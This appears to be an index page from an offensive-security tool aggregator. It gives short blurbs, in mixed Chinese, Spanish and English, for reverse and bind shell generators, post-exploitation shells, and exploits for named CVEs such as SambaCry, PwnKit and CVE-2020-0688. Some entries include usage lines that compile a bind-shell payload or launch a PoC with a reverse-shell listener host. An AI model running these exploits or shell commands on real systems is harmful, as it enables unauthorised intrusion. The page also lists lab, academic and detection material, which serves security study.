One-Lin3r

One-Lin3r One-Lin3r 是一个简单、模块化且轻量级的框架，为您提供渗透测试（Windows、Linux、macOS 甚至 BSD 系统）或一般黑客攻击时所需的全部单行命令，并具有许多新功能，使这一切完全自动化（例如：您甚至无需复制单行命令）。 版本 2 的截图 它包含各种不同类型的单行命令，具有不同的功能，其中一些包括： 单行命令功能| 该功能的作用 ---|--- 反向 Shell| 提供反向 shell 的各种方法和命令。 权限提升| 许多用于枚举和权限提升的命令。 绑定 Shell| 提供绑定 shell 的各种方法和命令。 下载执行|...

SLAE

SecurityTube Linux Assembly Expert Esta entrada de blog ha sido creada para cumplir los requisitos de la certificación SecurityTube Linux Assembly Expert: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ ID de estudiante: SLAE-1134 Artículos Tarea 1: Shell bind...

persisthunt

Detección de Persistencia, Búsqueda y Recopilación de Artefactos en Linux Resumen Uso Ejemplos de Detecciones Tabla de Técnicas Resumen persisthunt.sh ayuda a acelerar las investigaciones recolectando artefactos relacionados con persistencia específicos y destacando patrones sospechosos comúnment...

nginxhack

Esta es una herramienta que utiliza un exploit llamado CVE-2013-2028 para ejecutar un bind shell en el servidor objetivo que ejecuta Nginx 1.3.9 o 1.4.0. Se puede descargar aquí necesitarás ejecutarlo desde la línea de comandos Uso:...

postshell

PostShell PostShell 是一个后渗透 shell，同时包含绑定 shell 和反向连接 shell。它创建一个完全交互式的 TTY，允许作业控制。生成的 stub 大小约为 14kb，可在任何类 Unix 系统上编译。 截图 连接启动后，横幅及与 shell 的交互界面。 为什么不使用传统的反向连接/绑定 Shell？ PostShell 使后渗透攻击更加容易，攻击者不再依赖 Python 和 Perl 等依赖项。它还同时集成了反向连接和绑定 shell，这意味着如果目标不允许出站连接，操作员可以简单地启动一个绑定 shell 并远程连接到该机器。此外，PostShell...

postshell

PostShell PostShell is a post-exploitation shell that includes both a bind and a back connect shell. It creates a fully interactive TTY which allows for job control. The stub size is around 14kb and can be compiled on any Unix like system. ScreenShots Banner and interaction with shell after a...

ShellPop

ShellPop 关于 Shellpop 专注于弹出 shell。使用此工具，您可以生成简单或复杂的反向或绑定 shell 命令，以帮助您在渗透测试期间使用。 不要再浪费时间用 .txt 文件存储您的反向 shell 了！ 安装 需要 Python 2.7。 3.0+ 版本将无法工作。 所需依赖安装 root@kitploit: root@kali apt-get install python-argcomplete metasploit-framework -y root@kitploit: root@kali pip install -r requirements.txt 设置安装...

CVE-2017-7494_SambaCry

CVE-2017-7494 SambaCry Exploit Exploit SambaCry CVE-2017-7494 para explotar Samba bind shell sin Metasploit Si necesita cambiar el puerto, basta con cambiar la línea n.º 68 de bindshell-samba.c y recompilar: root@kitploit: gcc -c -fpic bindshell-samba.c root@kitploit: gcc -shared -o...

GoSH

GoSH Golang 反向/绑定 shell 生成器 描述 该工具生成一个 Go 二进制文件，可在目标主机上启动所需类型的 shell。 该 shell 二进制文件可以为多个平台编译，支持部分多态性（唯一函数名），并且可以使用 UDP 协议替代默认的 TCP。如果您通过已建立的连接发送 DELETE 命令，该 shell 二进制文件会从执行它的主机上自行删除。 许可证 本软件遵循 MIT 许可证...

jboss-autopwn

⚠️ NOTA: Esta herramienta ya no recibe mantenimiento activo. JBoss Autopwn Script Christian G. Papathanasiou http://www.spiderlabs.com INTRODUCCIÓN Este script de JBoss despliega un shell JSP en el servidor JBoss AS de destino. Una vez desplegado, el script utiliza su capacidad de carga y ejecució...

revsh

revsh revsh 是一款用于建立带有终端支持的反向 Shell、用于高级横向移动的反向 VPN 以及任意数据隧道的工具。 新闻 2018-08-09 : 新版本发布。主要是错误/稳定性修复以及更好的 OpenSSL 1.1.0 构建文档。有关更新后的构建说明，请参阅下方的《安装》部分。 概述 什么是“反向 Shell”？ 反向 Shell 是一种网络连接，可授予对远程主机的 Shell 访问权限。与 telnet 和 ssh 等其他远程登录工具不同，反向 Shell 由远程主机发起。这种从远程网络出站连接的技术能够规避仅配置为阻止入站连接的防火墙。 什么是“反向 VPN”？ rev...

hacktivity-vulns-exploits-lab

Vulnerabilidades, Exploits y Payloads de Acceso Remoto — informe de laboratorio Mi recorrido y análisis de la hoja de Hacktivity Cyber Security Labs "Vulnerabilities, Exploits, and Remote Access Payloads" curso de Ethical Hacking y Penetration Testing, Leeds Beckett University. Cubre cómo las...

badblood

Bad Blood Bad Blood es un exploit para CVE-2021-20038, un desbordamiento de búfer basado en pila en el binario httpd de los sistemas de la serie SMA-100 que utilizan versiones de firmware 10.2.1.x. He escrito muchos de los detalles técnicos aquí: AttackerKB CVE-2021-20038 El exploit, tal como est...

Pwnkit-go

PwnKit-go-LPE CVE-2021-4034 Un exploit basado en golang para CVE-2021-4034, apodado pwnkit root@kitploit: @@@@@@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@ @@@@@@ @@@@@@@@ @@@ @@@ @@@ @@@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@@ @@@@@@@@ @@! @@@ @@! @@! @@! @@!@!@@@ @@! !@@ @@! @@! !@@ @@! @@@ !...

CVE-2024-27348

🔥 Kit de Explotación CVE-2024-27348 🎓 Proyecto Académico 📚 Curso: FC411 - Diseño de Redes Seguras 👨‍🏫 Instructor: Dr. Maira Sultan 🏫 Universidad: University of Prince Mugrin 📅 Año: 2025 ⚡ Un kit completo para explotar CVE-2024-27348 Apache Huge-Graph-Server desarrollado como parte de los requisitos...

CVE-2020-0688

CVE-2020-0688 Exploit PoC funcional CVE-2020-0688 - Reverse Bind Shell Probado con Python2.7 Para instalar: pip install -r requirements.txt Para ejecutar: python CVE-2020-0688-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

metasploitable-pentest-report

Metasploitable 2 — Informe de Prueba de Penetración Descargo de responsabilidad: Esta prueba de penetración se realizó en un entorno de laboratorio privado y aislado de VMware con fines educativos únicamente. No se accedió a sistemas reales. Todas las direcciones IP han sido anonimizadas. Resumen...

CVE-2020-0910

CVE-2020-0910 PoC de Exploit Funcionando CVE-2020-0910 - Reverse Bind Shell Probado usando Python2.7 Para instalar: pip install -r requirements.txt Para ejecutar: python CVE-2020-0910-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

CVE-2024-54887-PoC

CVE-2024-54887 PoC en TypeScript Este repositorio contiene una reescritura en TypeScript ts-node del PoC público en Python para CVE-2024-54887 TP-Link TL-WR940N v3/v4 RCE autenticado. Requisitos previos Node.js 20+ Instalación root@kitploit: npm install Uso root@kitploit: npx ts-node...

cve-2010-4221

cve-2010-4221 Este exploit fue escrito para estudiar algunos conceptos, ¡disfrútalo! Uso root@kitploit: Proftpd Telnet IAC remote generic exploit Writen by: F0rb1dd3n Usage: ./proftpd-exploit Attack Types: 0 - Socket Reuse 1 - Reverse Shell 2 - Bind Shell 3 - Your own shellcode raw format Solo...